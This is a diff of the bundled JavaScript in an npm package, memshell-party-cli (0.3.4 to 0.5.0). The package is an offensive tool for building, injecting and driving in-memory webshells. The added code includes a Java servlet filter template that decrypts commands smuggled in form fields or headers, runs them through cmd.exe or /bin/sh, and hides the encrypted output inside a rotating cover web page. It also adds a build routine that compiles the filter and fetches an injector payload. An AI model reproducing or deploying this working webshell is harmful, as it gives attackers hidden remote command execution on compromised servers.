memshell-party-cli 0.3.4 → 0.5.0

package/dist/index.js

@@ -631,15 +631,25 @@ function postRaw(url, body, options = {}) {
   if (!isHttps && target.protocol !== "http:") {
     return Promise.reject(new HttpRequestError(`unsupported protocol: ${target.protocol}`, url));
   }
+  let proxy = null;
+  if (!isHttps && process.env.MEMPARTY_PROXY) {
+    try {
+      proxy = new URL(process.env.MEMPARTY_PROXY);
+    } catch {
+      return Promise.reject(
+        new HttpRequestError(`invalid MEMPARTY_PROXY: ${process.env.MEMPARTY_PROXY}`, url)
+      );
+    }
+  }
   return new Promise((resolve2, reject) => {
     const started = Date.now();
     const transport = isHttps ? https : http;
     const req = transport.request(
       {
         method: "POST",
-        hostname: target.hostname,
-        port: target.port || (isHttps ? 443 : 80),
-        path: `${target.pathname}${target.search}`,
+        hostname: proxy ? proxy.hostname : target.hostname,
+        port: proxy ? proxy.port || 8080 : target.port || (isHttps ? 443 : 80),
+        path: proxy ? target.toString() : `${target.pathname}${target.search}`,
         // agent:false — never reuse a pooled socket. A shell server may close
         // the connection right after an empty response, and reusing such a
         // socket surfaces as a spurious ECONNRESET on the next probe.
@@ -1814,7 +1824,8 @@ function autoSaveShell(conn) {
     headerName: conn.headerName,
     headerValue: conn.headerValue,
     extraHeaders: Object.keys(conn.extraHeaders).length > 0 ? conn.extraHeaders : void 0,
-    insecure: conn.insecure
+    insecure: conn.insecure,
+    profile: conn.profile
   });
   return `${projectName}/${shellName}`;
 }
@@ -1856,7 +1867,7 @@ function resolveConnection(ref, flags) {
     throw new Error("no URL \u2014 pass --url or a saved target name");
   }
   if (!tool) {
-    throw new Error("--tool is required (godzilla | behinder | suo5)");
+    throw new Error("--tool is required \u2014 see the command's --help for available protocols");
   }
   return {
     url,
@@ -1867,6 +1878,7 @@ function resolveConnection(ref, flags) {
     headerValue: flags.headerValue ?? stored?.headerValue,
     extraHeaders: { ...stored?.extraHeaders, ...flags.extraHeaders },
     insecure: flags.insecure ?? stored?.insecure,
+    profile: flags.profile ?? stored?.profile,
     targetName
   };
 }
@@ -2622,32 +2634,511 @@ async function startMcpStdio(client) {
   const transport = new StdioServerTransport();
   await server.connect(transport);
 }
+
+// src/connect/mimic-codecs.ts
+import { createCipheriv as createCipheriv2, createDecipheriv as createDecipheriv2, randomBytes as randomBytes3 } from "crypto";
+var LEGACY_CIPHER = {
+  algorithm: "aes-ecb",
+  encoding: "base64",
+  padTail: false,
+  marker: "js-var"
+};
+function resolveCipher(partial) {
+  return { ...LEGACY_CIPHER, ...partial ?? {} };
+}
+function deriveMarkers(pass, secretKey, cipher = LEGACY_CIPHER) {
+  const id = md5Hex(pass + secretKey).slice(0, 5);
+  if (cipher.marker === "html-comment") {
+    const left2 = `<!--Re${id}_config:`;
+    return { left: left2, right: "-->", wrap: (p) => `${left2}${p}-->` };
+  }
+  const left = `var Re${id}_config="`;
+  return { left, right: '";', wrap: (p) => `<script>${left}${p}";</script>` };
+}
+
+// src/custom/build.ts
+import { mkdirSync as mkdirSync4, readFileSync as readFileSync6, writeFileSync as writeFileSync5 } from "fs";
+import { join as join6 } from "path";
+
+// src/core/site-profile.ts
+import { existsSync as existsSync4, mkdirSync as mkdirSync3, readdirSync, readFileSync as readFileSync5, writeFileSync as writeFileSync4 } from "fs";
+import { homedir as homedir4 } from "os";
+import { join as join5 } from "path";
+function profileTemplates(profile) {
+  if (Array.isArray(profile.templates) && profile.templates.length > 0) {
+    return profile.templates;
+  }
+  if (profile.template) {
+    return [
+      {
+        title: profile.title ?? "",
+        template: profile.template,
+        contentType: profile.contentType ?? "text/html; charset=utf-8"
+      }
+    ];
+  }
+  return [];
+}
+function profileRequests(profile) {
+  if (!profile.request) return [];
+  return Array.isArray(profile.request) ? profile.request : [profile.request];
+}
+
+// src/custom/java-template.ts
+function javaStringLiteral(s) {
+  return s.replaceAll("\\", "\\\\").replaceAll('"', '\\"').replaceAll("\r", "").replaceAll("\n", "\\n").replaceAll(/[^\x00-\x7f]/g, (ch) => `\\u${ch.codePointAt(0).toString(16).padStart(4, "0")}`);
+}
+var MD5_METHOD = String.raw`
+    static String md5Hex(String s) throws Exception {
+        MessageDigest m = MessageDigest.getInstance("MD5");
+        byte[] d = m.digest(s.getBytes("UTF-8"));
+        StringBuilder sb = new StringBuilder();
+        for (byte b : d) sb.append(String.format("%02x", b & 0xff));
+        return sb.toString();
+    }
+`;
+function cryptMethod(algorithm) {
+  switch (algorithm) {
+    case "aes-ecb":
+      return String.raw`
+    static byte[] crypt(byte[] data, String key, boolean enc) throws Exception {
+        Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding");
+        c.init(enc ? Cipher.ENCRYPT_MODE : Cipher.DECRYPT_MODE,
+               new SecretKeySpec(key.getBytes("UTF-8"), "AES"));
+        return c.doFinal(data);
+    }
+`;
+    case "aes-cbc":
+      return String.raw`
+    static byte[] crypt(byte[] data, String key, boolean enc) throws Exception {
+        Cipher c = Cipher.getInstance("AES/CBC/PKCS5Padding");
+        SecretKeySpec ks = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
+        if (enc) {
+            byte[] iv = new byte[16];
+            new java.security.SecureRandom().nextBytes(iv);
+            c.init(Cipher.ENCRYPT_MODE, ks, new IvParameterSpec(iv));
+            byte[] ct = c.doFinal(data);
+            ByteArrayOutputStream bos = new ByteArrayOutputStream();
+            bos.write(iv);
+            bos.write(ct);
+            return bos.toByteArray();
+        }
+        c.init(Cipher.DECRYPT_MODE, ks, new IvParameterSpec(data, 0, 16));
+        return c.doFinal(data, 16, data.length - 16);
+    }
+`;
+    case "xor":
+      return String.raw`
+    static byte[] crypt(byte[] data, String key, boolean enc) throws Exception {
+        byte[] k = key.getBytes("UTF-8");
+        byte[] out = new byte[data.length];
+        for (int i = 0; i < data.length; i++) out[i] = (byte) (data[i] ^ k[i % k.length]);
+        return out;
+    }
+`;
+  }
+}
+function encDecMethods(encoding) {
+  switch (encoding) {
+    case "base64":
+      return String.raw`
+    static String enc(byte[] data) {
+        return java.util.Base64.getEncoder().encodeToString(data);
+    }
+    static byte[] dec(String s) {
+        return java.util.Base64.getDecoder().decode(s);
+    }
+`;
+    case "base64url":
+      return String.raw`
+    static String enc(byte[] data) {
+        return java.util.Base64.getUrlEncoder().withoutPadding().encodeToString(data);
+    }
+    static byte[] dec(String s) {
+        return java.util.Base64.getUrlDecoder().decode(s);
+    }
+`;
+    case "hex":
+      return String.raw`
+    static String enc(byte[] data) {
+        StringBuilder sb = new StringBuilder();
+        for (byte b : data) sb.append(String.format("%02x", b & 0xff));
+        return sb.toString();
+    }
+    static byte[] dec(String s) {
+        ByteArrayOutputStream bos = new ByteArrayOutputStream();
+        for (int i = 0; i + 1 < s.length(); i += 2) bos.write(Integer.parseInt(s.substring(i, i + 2), 16));
+        return bos.toByteArray();
+    }
+`;
+  }
+}
+var PAD_METHODS = String.raw`
+    static int padLen(String aesKey) throws Exception {
+        return Integer.parseInt(md5Hex(aesKey).substring(0, 2), 16) % 16;
+    }
+    static String appendPad(String s, String aesKey) throws Exception {
+        int n = padLen(aesKey);
+        StringBuilder sb = new StringBuilder(s);
+        java.util.Random r = new java.util.Random();
+        for (int i = 0; i < n; i++) {
+            sb.append("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".charAt(r.nextInt(62)));
+        }
+        return sb.toString();
+    }
+    static String stripPad(String s, String aesKey) throws Exception {
+        int n = padLen(aesKey);
+        return n == 0 ? s : s.substring(0, Math.max(0, s.length() - n));
+    }
+`;
+function fieldTransforms(cipher) {
+  const afterEncode = cipher.padTail ? "appendPad(s, aesKey)" : "s";
+  const beforeDecode = cipher.padTail ? "stripPad(v, aesKey)" : "v";
+  return `
+    static String encryptField(byte[] plain, String aesKey) throws Exception {
+        String s = enc(crypt(plain, aesKey, true));
+        return ${afterEncode};
+    }
+    static byte[] decryptField(String v, String aesKey) throws Exception {
+        String s = ${beforeDecode};
+        return crypt(dec(s), aesKey, false);
+    }
+`;
+}
+function wrapPayloadMethod(marker) {
+  if (marker === "html-comment") {
+    return String.raw`
+    static String wrapPayload(String payload, String passKey) throws Exception {
+        return "<!--Re" + md5Hex(passKey).substring(0, 5) + "_config:" + payload + "-->";
+    }
+`;
+  }
+  return String.raw`
+    static String wrapPayload(String payload, String passKey) throws Exception {
+        return "<script>var Re" + md5Hex(passKey).substring(0, 5) + "_config=\"" + payload + "\";</script>";
+    }
+`;
+}
+function sharedMethods(cipher) {
+  return MD5_METHOD + cryptMethod(cipher.algorithm) + encDecMethods(cipher.encoding) + (cipher.padTail ? PAD_METHODS : "") + fieldTransforms(cipher);
+}
+function renderFilterJava(opts) {
+  const { className, pass, secret, fields, templates, cipher } = opts;
+  const fieldsJava = fields.map((f) => `"${javaStringLiteral(f)}"`).join(", ");
+  const tplsJava = templates.map((t) => `        "${javaStringLiteral(t)}"`).join(",\n");
+  return `package mimic;
+
+import java.io.*;
+import java.security.MessageDigest;
+import javax.crypto.Cipher;
+import javax.crypto.spec.IvParameterSpec;
+import javax.crypto.spec.SecretKeySpec;
+import javax.servlet.*;
+import javax.servlet.http.*;
+
+/**
+ * mimic protocol server (matches src/connect/mimic-codecs.ts):
+ *   cipher=${cipher.algorithm} encoding=${cipher.encoding} padTail=${cipher.padTail} marker=${cipher.marker}
+ *
+ * Detection uses getParameter()/getHeader() only, never reads the body
+ * stream: form posts are parsed+cached by the container so downstream
+ * getParameter() callers still work, and raw-body posts (Behinder) keep an
+ * untouched body stream for the shell behind us. Anything that is not ours
+ * falls through chain.doFilter; any error answers with the cover page.
+ */
+public class ${className} implements Filter {
+    /** carriers that may hold the ciphertext (form fields / headers, from the profile) */
+    static final String[] FIELDS = { ${fieldsJava} };
+    /** credentials \u2014 must match the client's --pass/--key (key + marker derivation) */
+    static final String PASS = "${javaStringLiteral(pass)}";
+    static final String SECRET = "${javaStringLiteral(secret)}";
+    /** Cover pages from the site profile \u2014 rotated per response so the skin varies. */
+    static final String[] TPLS = {
+${tplsJava}
+    };
+
+    public void init(FilterConfig filterConfig) {}
+    public void destroy() {}
+${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
+    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
+            throws IOException, ServletException {
+        String value = null;
+        for (String f : FIELDS) {
+            value = request.getParameter(f);
+            if (value == null && request instanceof HttpServletRequest) {
+                // secretIn=header: the ciphertext may ride a header instead of a form field
+                value = ((HttpServletRequest) request).getHeader(f);
+            }
+            if (value != null) break;
+        }
+        if (value == null) {
+            chain.doFilter(request, response);
+            return;
+        }
+        String aesKey;
+        byte[] cmd;
+        try {
+            aesKey = md5Hex(SECRET).substring(0, 16);
+            cmd = decryptField(value, aesKey);
+        } catch (Exception notOurs) {
+            // the field exists but doesn't decrypt \u2014 this is someone else's
+            // legitimate form (e.g. the real login POST), stay invisible
+            chain.doFilter(request, response);
+            return;
+        }
+        String tpl = TPLS[new java.util.Random().nextInt(TPLS.length)];
+        try {
+            String command = new String(cmd, "UTF-8");
+            boolean win = System.getProperty("os.name").toLowerCase().contains("win");
+            ProcessBuilder pb = win
+                ? new ProcessBuilder("cmd.exe", "/c", command)
+                : new ProcessBuilder("/bin/sh", "-c", command);
+            pb.redirectErrorStream(true);
+            Process proc = pb.start();
+            ByteArrayOutputStream bos = new ByteArrayOutputStream();
+            InputStream in = proc.getInputStream();
+            byte[] buf = new byte[8192];
+            int n;
+            while ((n = in.read(buf)) != -1) bos.write(buf, 0, n);
+            proc.waitFor();
+            String payload = encryptField(bos.toByteArray(), aesKey);
+            String fragment = wrapPayload(payload, PASS + SECRET);
+            int idx = tpl.toLowerCase().lastIndexOf("</body>");
+            String page = idx >= 0 ? tpl.substring(0, idx) + fragment + tpl.substring(idx) : tpl + fragment;
+            response.setContentType("text/html;charset=UTF-8");
+            response.setCharacterEncoding("UTF-8");
+            response.getWriter().write(page);
+        } catch (Exception e) {
+            // behave like the cover page on any error \u2014 stay quiet
+            response.setContentType("text/html;charset=UTF-8");
+            response.getWriter().write(tpl);
+        }
+    }
+}
+`;
+}
+function renderCryptoProbe(cipher) {
+  return `import java.io.*;
+import java.security.MessageDigest;
+import javax.crypto.Cipher;
+import javax.crypto.spec.IvParameterSpec;
+import javax.crypto.spec.SecretKeySpec;
+
+/** Cross-language test harness \u2014 shares every snippet with the mimic filter. */
+public class CryptoProbe {
+${sharedMethods(cipher)}
+    static String bytesToHex(byte[] data) {
+        StringBuilder sb = new StringBuilder();
+        for (byte b : data) sb.append(String.format("%02x", b & 0xff));
+        return sb.toString();
+    }
+    static byte[] hexToBytes(String s) {
+        ByteArrayOutputStream bos = new ByteArrayOutputStream();
+        for (int i = 0; i + 1 < s.length(); i += 2) bos.write(Integer.parseInt(s.substring(i, i + 2), 16));
+        return bos.toByteArray();
+    }
+
+    public static void main(String[] args) throws Exception {
+        String aesKey = md5Hex(args[1]).substring(0, 16);
+        if ("enc".equals(args[0])) {
+            // hex plaintext on argv -> wire value on stdout
+            System.out.println(encryptField(hexToBytes(args[2]), aesKey));
+        } else {
+            // wire value on argv -> hex plaintext on stdout
+            System.out.println(bytesToHex(decryptField(args[2], aesKey)));
+        }
+    }
+}
+`;
+}
+
+// src/custom/javac.ts
+import { execFileSync } from "child_process";
+import { existsSync as existsSync5 } from "fs";
+import { fileURLToPath } from "url";
+function servletApiJar() {
+  const candidates = [
+    new URL("../resources/javax.servlet-api-3.1.0.jar", import.meta.url),
+    // dist/*.js
+    new URL("../../resources/javax.servlet-api-3.1.0.jar", import.meta.url)
+    // src/custom/*.ts
+  ];
+  for (const candidate of candidates) {
+    const p = fileURLToPath(candidate);
+    if (existsSync5(p)) return p;
+  }
+  throw new Error(
+    "bundled servlet-api jar not found (expected resources/javax.servlet-api-3.1.0.jar in the package)"
+  );
+}
+function findJavac() {
+  try {
+    execFileSync("javac", ["-version"], { stdio: "pipe" });
+    return "javac";
+  } catch {
+    throw new Error(
+      "javac not found on PATH \u2014 'memparty custom build' compiles Java locally, install any JDK 11+ and retry"
+    );
+  }
+}
+function hasJavac() {
+  try {
+    findJavac();
+    return true;
+  } catch {
+    return false;
+  }
+}
+function compileJava(sources, outDir, opts = {}) {
+  const javac = findJavac();
+  const args = ["-encoding", "UTF-8", "--release", "8"];
+  if (opts.classpath && opts.classpath.length > 0) {
+    args.push("-cp", opts.classpath.join(process.platform === "win32" ? ";" : ":"));
+  }
+  args.push("-d", outDir, ...sources);
+  execFileSync(javac, args, { stdio: "pipe" });
+}
+
+// src/custom/build.ts
+function profileSecretFields(profile) {
+  const shapes = profileRequests(profile);
+  const fields = [...new Set(shapes.map((r) => r.secretField).filter(Boolean))];
+  return fields.length > 0 ? fields : ["pass"];
+}
+function defaultClassName() {
+  return `MimicFilter${randomString(4)}`;
+}
+async function buildCustomMemshell(input, client, deps = {}) {
+  const compile = deps.compile ?? compileJava;
+  const jarOf = deps.servletJar ?? servletApiJar;
+  const className = input.className ?? defaultClassName();
+  const shellType = input.shellType ?? "Filter";
+  const urlPattern = input.urlPattern ?? "/*";
+  const packer = input.packer ?? "DefaultBase64";
+  const cipher = resolveCipher(input.profile.cipher);
+  const templates = profileTemplates(input.profile).map((t) => t.template);
+  if (templates.length === 0) {
+    throw new Error(`profile '${input.profile.name}' has no templates \u2014 nothing to use as cover page`);
+  }
+  const outDir = input.outDir;
+  const packageDir = join6(outDir, "mimic");
+  mkdirSync4(packageDir, { recursive: true });
+  const javaSource = renderFilterJava({
+    className,
+    pass: input.pass,
+    secret: input.secret,
+    fields: profileSecretFields(input.profile),
+    templates,
+    cipher
+  });
+  const javaFile = join6(packageDir, `${className}.java`);
+  writeFileSync5(javaFile, javaSource, "utf8");
+  compile([javaFile], outDir, { classpath: [jarOf()] });
+  const classFile = join6(packageDir, `${className}.class`);
+  const shellClassBase64 = readFileSync6(classFile).toString("base64");
+  const response = await client.generateMemShell({
+    shellConfig: {
+      server: input.server,
+      shellTool: "Custom",
+      shellType,
+      targetJreVersion: resolveJreVersion(input.jdk ?? "java8")
+    },
+    shellToolConfig: {
+      shellClassName: `mimic.${className}`,
+      shellClassBase64
+    },
+    injectorConfig: { urlPattern },
+    packer
+  });
+  const payloads = {};
+  if (response.allPackResults && Object.keys(response.allPackResults).length > 0) {
+    for (const [name, value] of Object.entries(response.allPackResults)) {
+      const file = join6(outDir, `payload-${name}.txt`);
+      writeFileSync5(file, `${value}
+`, "utf8");
+      payloads[name] = file;
+    }
+  } else if (response.packResult !== void 0) {
+    const file = join6(outDir, "payload.txt");
+    writeFileSync5(file, `${response.packResult}
+`, "utf8");
+    payloads[packer] = file;
+  }
+  const result = {
+    className,
+    fullClassName: `mimic.${className}`,
+    injectorClassName: response.memShellResult.injectorClassName,
+    packer,
+    server: input.server,
+    shellType,
+    urlPattern,
+    pass: input.pass,
+    secret: input.secret,
+    cipher,
+    response,
+    files: {
+      java: javaFile,
+      classFile,
+      manifest: join6(outDir, "manifest.json"),
+      payloads
+    }
+  };
+  const manifest = {
+    tool: "mimic",
+    createdAt: (/* @__PURE__ */ new Date()).toISOString(),
+    profile: input.profile.name,
+    server: result.server,
+    shellType: result.shellType,
+    urlPattern: result.urlPattern,
+    packer: result.packer,
+    className: result.fullClassName,
+    injectorClassName: result.injectorClassName,
+    pass: result.pass,
+    key: result.secret,
+    cipher: result.cipher,
+    note: "pass/key/cipher are baked into the filter class. Editing the profile's cipher section afterwards desynchronizes client and server \u2014 rebuild and re-inject.",
+    connect: `memparty connect -u <shell-url> -t mimic --profile ${input.profile.name} --pass ${result.pass} --key ${result.secret}`,
+    files: result.files
+  };
+  writeFileSync5(result.files.manifest, `${JSON.stringify(manifest, null, 2)}
+`, "utf8");
+  return result;
+}
 export {
   ApiError,
   CLI_VERSION,
   DEFAULT_API_URL,
   ENV_VAR,
   JDK_VERSIONS,
+  LEGACY_CIPHER,
   MemPartyClient,
   OUTPUT_LIMIT,
   autoSaveShell,
+  buildCustomMemshell,
   buildMemShellRequest,
   buildProbeRequest,
   createMcpServer,
+  defaultClassName,
+  deriveMarkers,
   emitPayload,
   execBehinder,
   execGodzilla,
   formatOp,
   getProject,
+  hasJavac,
   listProjects,
   logOp,
   marshalFrameBase64,
   marshalSuo5Map,
   opLogPath,
+  profileSecretFields,
   readOps,
   removeProject,
   removeShell,
+  renderCryptoProbe,
+  renderFilterJava,
   resolveApiUrl,
+  resolveCipher,
   resolveConnection,
   resolveJreVersion,
   saveProjectMeta,